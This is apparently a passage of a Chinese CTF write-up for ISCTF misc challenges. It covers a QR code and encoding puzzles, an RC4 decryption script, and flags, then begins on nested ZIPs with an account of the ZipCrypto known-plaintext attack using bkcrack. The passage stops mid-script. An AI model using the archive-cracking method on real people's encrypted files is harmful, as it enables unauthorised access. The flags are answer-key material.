src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"495\" height=\"39\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-66.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1631\"  sizes=\"auto, (max-width: 495px) 100vw, 495px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{H0w_834u71fu1!!!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6728\u6797\u68ee<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-67.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"655\" height=\"750\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-67.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1632\"  sizes=\"auto, (max-width: 655px) 100vw, 655px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">base64\u8f6c\u56fe\u7247<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f\u4e00\u4e2a\u4e8c\u7ef4\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u626b\u63cf<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-68.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"730\" height=\"699\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-68.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1633\"  sizes=\"auto, (max-width: 730px) 100vw, 730px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>20000824<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8c\u7ef4\u7801\u8fdb\u884cforemost\u63d0\u53d6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u4e00\u4e2ajpg\u56fe\u7247<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-69-1024x253.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"253\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-69-1024x253.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1634\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u793e\u4f1a\u4e3b\u4e49\u6838\u5fc3\u4ef7\u503c\u89c2\u89e3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6587\u660e\u53cb\u5584\u7231\u56fd\u6587\u660e\u8bda\u4fe1\u81ea\u7531\u6587\u660e\u8bda\u4fe1\u81ea\u7531\u6587\u660e\u53cb\u5584\u7231\u56fd\u81ea\u7531\u53cb\u5584\u6cd5\u6cbb\u516c\u6b63\u6c11\u4e3b\u516c\u6b63\u53cb\u5584\u6cd5\u6cbb\u516c\u6b63\u6587\u660e\u516c\u6b63\u6c11\u4e3b\u6587\u660e\u8bda\u4fe1\u81ea\u7531\u6587\u660e\u53cb\u5584\u7231\u56fd\u6587\u660e\u8bda\u4fe1\u81ea\u7531\u6587\u660e\u8bda\u4fe1\u81ea\u7531<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-70.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"355\" height=\"100\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-70.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1635\"  sizes=\"auto, (max-width: 355px) 100vw, 355px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>....Mamba....<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e24\u4e2a\u5bc6\u94a5\u7ed3\u5408&#8230;.Mamba&#8230;. \u8fd9\u4e2a\u524d\u540e\u4e24\u4e2a\u67094\u4e2a\u70b9\u7136\u540e\u8fd8\u6709\u4e00\u4e2a8\u4e2a\u6570\u5b57\u5bc6\u94a5\u524d\u540e\u7ed3\u5408<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u94a5\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>2000Mamba0824<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u6587\u5728\u539f\u6587\u4ef6\u6700\u5e95\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-71.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"935\" height=\"225\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-71.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1636\"  sizes=\"auto, (max-width: 935px) 100vw, 935px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>MzFFRTlBQjJERjEwNEVFNjk1ODI0NTc5MTQwQURGMzk0NzJCRUIzMzE2Q0YxMTlBNjFBMkNDNDYwNTIzQjA2MThDNzk0QTkzNEFGRjNCOTBGNEUwMzY=<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">base64\u89e3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-72.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"906\" height=\"95\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-72.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1637\"  sizes=\"auto, (max-width: 906px) 100vw, 906px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">RC4\u89e3\u5bc6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-73-1024x478.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"478\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-73-1024x478.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1638\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e5f\u53ef\u4ee5py3\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Cipher import ARC4\nimport binascii\n\ndef rc4_decrypt_manual(key_hex, ciphertext_hex):\n    \"\"\"\u624b\u52a8\u5b9e\u73b0RC4\u89e3\u5bc6\"\"\"\n    # \u5c06\u5bc6\u94a5\u4ece\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5b57\u8282\n    key = key_hex.encode('utf-8')\n\n    # \u5c06\u5bc6\u6587\u4ece\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5b57\u8282\n    ciphertext = binascii.unhexlify(ciphertext_hex)\n\n    # RC4\u521d\u59cb\u5316\n    S = list(range(256))\n    j = 0\n\n    # KSA (Key Scheduling Algorithm)\n    for i in range(256):\n        j = (j + S&#91;i] + key&#91;i % len(key)]) % 256\n        S&#91;i], S&#91;j] = S&#91;j], S&#91;i]\n\n    # PRGA (Pseudo-Random Generation Algorithm) \u548c\u89e3\u5bc6\n    i = j = 0\n    plaintext = bytearray(len(ciphertext))\n\n    for k in range(len(ciphertext)):\n        i = (i + 1) % 256\n        j = (j + S&#91;i]) % 256\n        S&#91;i], S&#91;j] = S&#91;j], S&#91;i]\n        t = (S&#91;i] + S&#91;j]) % 256\n        keystream_byte = S&#91;t]\n        plaintext&#91;k] = ciphertext&#91;k] ^ keystream_byte\n\n    return plaintext.decode('utf-8', errors='ignore')\n\ndef rc4_decrypt_crypto(key_str, ciphertext_hex):\n    \"\"\"\u4f7f\u7528pycryptodome\u5e93\u8fdb\u884cRC4\u89e3\u5bc6\"\"\"\n    try:\n        from Crypto.Cipher import ARC4\n        # \u5c06\u5bc6\u94a5\u4ece\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5b57\u8282\n        key = key_str.encode('utf-8')\n\n        # \u5c06\u5bc6\u6587\u4ece\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5b57\u8282\n        ciphertext = binascii.unhexlify(ciphertext_hex)\n\n        # \u521b\u5efaRC4\u5bc6\u7801\u5bf9\u8c61\u5e76\u89e3\u5bc6\n        cipher = ARC4.new(key)\n        plaintext = cipher.decrypt(ciphertext)\n\n        return plaintext.decode('utf-8', errors='ignore')\n    except ImportError:\n        print(\"pycryptodome\u5e93\u672a\u5b89\u88c5\uff0c\u4f7f\u7528\u624b\u52a8\u5b9e\u73b0\u7248\u672c\")\n        return rc4_decrypt_manual(key_str, ciphertext_hex)\n\ndef main():\n    # \u7ed9\u5b9a\u7684\u5bc6\u6587\u548c\u5bc6\u94a5\n    ciphertext_hex = \"31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036\"\n    key_str = \"2000Mamba0824\"\n\n    print(\"=\" * 50)\n    print(\"RC4\u89e3\u5bc6\u811a\u672c\")\n    print(\"=\" * 50)\n    print(f\"\u5bc6\u94a5: {key_str}\")\n    print(f\"\u5bc6\u6587(\u5341\u516d\u8fdb\u5236): {ciphertext_hex}\")\n    print(\"-\" * 50)\n\n    # \u65b9\u6cd51\uff1a\u4f7f\u7528\u624b\u52a8\u5b9e\u73b0\u7684RC4\u89e3\u5bc6\n    print(\"n\u65b9\u6cd51: \u624b\u52a8\u5b9e\u73b0RC4\u89e3\u5bc6\")\n    try:\n        plaintext1 = rc4_decrypt_manual(key_str, ciphertext_hex)\n        print(f\"\u89e3\u5bc6\u7ed3\u679c: {plaintext1}\")\n    except Exception as e:\n        print(f\"\u89e3\u5bc6\u5931\u8d25: {e}\")\n\n    # \u65b9\u6cd52\uff1a\u4f7f\u7528pycryptodome\u5e93\u89e3\u5bc6\n    print(\"n\u65b9\u6cd52: \u4f7f\u7528pycryptodome\u5e93\u89e3\u5bc6\")\n    try:\n        plaintext2 = rc4_decrypt_crypto(key_str, ciphertext_hex)\n        print(f\"\u89e3\u5bc6\u7ed3\u679c: {plaintext2}\")\n    except Exception as e:\n        print(f\"\u89e3\u5bc6\u5931\u8d25: {e}\")\n\n    print(\"n\" + \"=\" * 50)\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-74-1024x303.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"303\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-74-1024x303.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1639\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684\u5343\u5c42FLAG<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-75.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"635\" height=\"810\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-75.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1640\"  sizes=\"auto, (max-width: 635px) 100vw, 635px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">&#8220;\u5982\u679c\u4f60\u613f\u4e00\u5c42\u4e00\u5c42\u4e00\u5c42\u5730\u5265\u5f00\u6211\u7684 Zip \u4f60\u4f1a\u53d1\u73b0\uff0c\u4f60\u4f1a\u6d41\u6cea\u2014\u2014 \u57cb\u5728\u6700\u6df1\u5904 8+4 \u7684\u771f\u6b63\u5965\u79d8\u2026\u2026&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u53c2\u8003\u8d44\u6599\uff1a<a href=\"https:\/\/www.freebuf.com\/articles\/network\/255145.html\">https:\/\/www.freebuf.com\/articles\/network\/255145.html<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ZIP\u7684\u52a0\u5bc6\u7b97\u6cd5\u5927\u81f4\u5206\u4e3a\u4e24\u79cdZipCrypto\u548cAES-256,\u5404\u81ea\u53c8\u5206Deflate\u548cStore\u3002<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">ZipCrypto Deflate<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ZipCrypto Store<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">AES-256 Deflate<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">AES-256 Store<\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">ZipCrypto\u7b97\u662f\u4f20\u7edf\u7684zip\u52a0\u5bc6\u65b9\u5f0f\u3002\u53ea\u6709\u4f7f\u7528ZipCrypto Deflate \/Store\u624d\u53ef\u4ee5\u4f7f\u7528 ZIP\u5df2\u77e5\u660e\u6587\u653b\u51fb\u8fdb\u884c\u7834\u89e3\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f20\u7edf\u7684ZIP\u5df2\u77e5\u660e\u6587\u653b\u51fb\u5229\u7528\uff0cwindows\u4e0b\u53ef\u4ee5\u4f7f\u7528AZPR\uff0clinux\u4e0b\u53ef\u4ee5\u4f7f\u7528pkcrack\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>ZIP\u5df2\u77e5\u660e\u6587\u653b\u51fb\u7684\u6df1\u5165\u5229\u7528<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u672c\u6587\u8981\u63a2\u8ba8\u7684\u653b\u51fb\u65b9\u6cd5\u5e76\u4e0d\u9700\u8981\u77e5\u9053\u538b\u7f29\u6587\u4ef6\u4e2d\u5b8c\u6574\u7684\u660e\u6587\uff0c\u53ea\u9700\u5728\u5df2\u77e5\u52a0\u5bc6\u538b\u7f29\u5305\u4e2d\u7684\u5c11\u90e8\u5206\u660e\u6587\u5b57\u8282\u65f6\u5373\u53ef\u8fdb\u884c\u653b\u51fb\u7834\u89e3\u3002\u800c\u5404\u7c7b\u6587\u4ef6\u90fd\u6709\u5176\u81ea\u8eab\u56fa\u5b9a\u7684\u6587\u4ef6\u683c\u5f0f\uff0c\u7ed3\u5408\u8fd9\u7c7b\u683c\u5f0f\uff0c\u6781\u5927\u6269\u5c55\u4e86ZIP\u660e\u6587\u653b\u51fb\u7684\u653b\u51fb\u9762\u3002<br>\u5177\u4f53\u8981\u6c42\u5982\u4e0b\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u81f3\u5c11\u5df2\u77e5\u660e\u6587\u768412\u4e2a\u5b57\u8282\u53ca\u504f\u79fb\uff0c\u5176\u4e2d\u81f3\u5c118\u5b57\u8282\u9700\u8981\u8fde\u7eed\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u660e\u6587\u5bf9\u5e94\u7684\u6587\u4ef6\u52a0\u5bc6\u65b9\u5f0f\u4e3aZipCrypto Store<\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u65b9\u6cd5\u5bf9\u4e8eZIP\u52a0\u5bc6\u7684\u7b97\u6cd5\u6709\u8981\u6c42\uff0c\u660e\u6587\u5bf9\u5e94\u7684\u6587\u4ef6\u52a0\u5bc6\u65b9\u5f0f\u9700\u8981\u4e3aZipCrypto Store\u3002\u7ecf\u6d4b\u8bd5\uff0cWinrar\uff08v5.80\uff09\u30017zip\uff08v19.00\uff09\u9ed8\u8ba4\u72b6\u6001\u4e0b\u52a0\u5bc6\u4f7f\u7528\u7684\u5c31\u662fAES256\u7b97\u6cd5\uff0c\u76f4\u63a5\u6392\u9664\u3002360\u538b\u7f29\uff08v4.0.0.1220\uff09\u3001\u597d\u538b\uff08v6.2\uff09\u4f7f\u7528\u7684\u662fZipCrypto\uff0c\u4e0d\u56fa\u5b9a\u4f7f\u7528Store\u6216Deflate\uff08\u5982\u679c\u8981\u56fa\u5b9a\u4f7f\u7528ZipCrypto Store\u7b97\u6cd5\u52a0\u5bc6\uff0c\u53ef\u4ee5\u5728\u538b\u7f29\u7684\u65f6\u5019\u6307\u5b9a\u538b\u7f29\u65b9\u5f0f\u4e3a\u201c\u5b58\u50a8\u201d)\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4f7f\u7528\u5230\u7684\u5de5\u5177\u9879\u76ee<\/strong><br><strong>bkcrack\uff1a<\/strong><a href=\"https:\/\/github.com\/kimci86\/bkcrack\">https:\/\/github.com\/kimci86\/bkcrack<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-76.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"866\" height=\"703\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-76.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1641\"  sizes=\"auto, (max-width: 866px) 100vw, 866px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u538b\u7f29\u5305\u6ce8\u91ca\u6709\u5bc6\u94a5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-77-1024x335.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"335\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-77-1024x335.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1642\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u538b\u51fa\u6765\u8fd8\u6709\u538b\u7f29\u5305\u7684\u5d4c\u5957py3\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\nimport re\nimport zipfile\nimport pyzipper\n\ndef get_password_from_comment(zip_file):\n    \"\"\"\u4eceZIP\u6587\u4ef6\u6ce8\u91ca\u4e2d\u63d0\u53d6\u5bc6\u7801\"\"\"\n    with zipfile.ZipFile(zip_file, 'r') as zf:\n        comment = zf.comment.decode('utf-8', 'ignore')\n        match = re.search(r'The password is (&#91;a-fA-F0-9]+)', comment)\n        return match.group(1) if match else None\n\ndef unzip_nested_files(start_zip):\n    \"\"\"\u9012\u5f52\u89e3\u538b\u5d4c\u5957\u7684ZIP\u6587\u4ef6\"\"\"\n    current_file = start_zip\n    count = 0\n    extracted = &#91;]\n\n    print(f\"\u5f00\u59cb\u89e3\u538b\u5d4c\u5957ZIP: {start_zip}\")\n\n    while os.path.exists(current_file) and current_file.endswith('.zip'):\n        try:\n            password = get_password_from_comment(current_file)\n            if not password:\n                print(f\"{current_file}: \u65e0\u6cd5\u63d0\u53d6\u5bc6\u7801\")\n                break\n\n            print(f\"{current_file}: \u5bc6\u7801 {password}\")\n\n            with pyzipper.AESZipFile(current_file) as zip_ref:\n                file_list = zip_ref.namelist()\n                if not file_list:\n                    print(f\"{current_file}: \u7a7a\u6587\u4ef6\")\n                    break\n\n                next_file = file_list&#91;0]\n                print(f\"\u89e3\u538b: {current_file} -&gt; {next_file}\")\n                zip_ref.extractall(pwd=password.encode())\n                extracted.append(next_file)\n\n                current_file = next_file\n                count += 1\n\n                if not current_file.endswith('.zip'):\n                    print(f\"\u89e3\u538b\u5b8c\u6210: {current_file}\")\n                    break\n\n        except Exception as e:\n            print(f\"\u89e3\u538b\u5931\u8d25 {current_file}: {e}\")\n            break\n\n    print(f\"\u5171\u89e3\u538b {count} \u5c42\")\n    